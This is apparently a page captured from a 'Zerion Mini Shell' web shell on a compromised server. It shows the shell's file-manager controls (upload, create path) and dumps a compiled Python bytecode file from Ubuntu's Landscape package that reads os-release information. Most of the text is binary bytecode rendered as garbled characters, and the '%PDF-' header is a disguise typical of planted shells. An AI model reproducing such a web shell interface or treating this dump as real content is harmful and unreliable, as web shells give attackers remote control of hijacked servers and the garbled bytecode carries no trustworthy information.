%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/landscape/lib/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/landscape/lib/__pycache__/os_release.cpython-312.pyc

�

�~�e��8�dZddlZdZdZdZdddd	d
�Zd�Zd
d�Zy)z Get information from os-release.�Nz$/var/lib/snapd/hostfs/etc/os-releasez/etc/os-releasez/usr/lib/os-releasezdistributor-id�description�releasez	code-name)�NAME�PRETTY_NAME�
VERSION_ID�VERSION_CODENAMEc�6�t}tjj|�r$tj|tj
�sOt}tjj|�r$tj|tj
�st}|S)a3
    Provide the appropriate file for os release info.
    If a snap, we want the host os so need to use
    /var/lib/snapd/hostfs/etc/os-release, if not a snap
    /etc/os-release will be used as first fallback or
    /usr/lib/os-release as a fallback as indicated in os-release
    at Freedesktop.org
    )�OS_RELEASE_FILENAME�os�path�exists�access�R_OK�OS_RELEASE_FILENAME_FALLBACK)�os_filenames �:/usr/lib/python3/dist-packages/landscape/lib/os_release.py�get_os_filenamersg��&�K�
�7�7�>�>�+�&�b�i�i��
���/�3���w�w�~�~�k�*�"�)�)���G�G�3
�7�K���c�$�i}|�
t�}t|�5}|D]Z}|jd�\}}|tvs� t|j	�}|j	�j	d�}|||<�\	ddd�|S#1swY|SxYw)z�
    Returns a C{dict} holding information about the system LSB release
    by attempting to parse C{os_release_filename} if specified. If no
    filename is provided

    @raises: A FileNotFoundError if C{filename} does not exist.
    N�=�")r�open�split�OS_RELEASE_FILE_KEYS�strip)�os_release_filename�info�fd�line�key�values      r�parse_os_releaser"*s����D��"�-�/��	
�!�	"�"�b��	"�D����C��J�C���*�*�*�3�9�9�;�7�����
�+�+�C�0��!��S�	�
	"�"��K�"��K�s�"B�=B�B)N)�__doc__rr
r�&OS_RELEASE_FILENAME_SECONDARY_FALLBACKrrr"�rr�<module>r&s;��&�	�<��0��)>�&�� ��#�	���6r

Zerion Mini Shell 1.0